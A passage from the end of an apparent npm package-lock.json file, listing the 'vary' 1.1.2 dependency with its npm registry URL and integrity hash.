1382 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="
1383 | },
1384 | "vary": {
1385 | "version": "1.1.2",
1386 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
1387 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="
1388 | }
1389 | }
1390 | }
1391 |
--------------------------------------------------------------------------------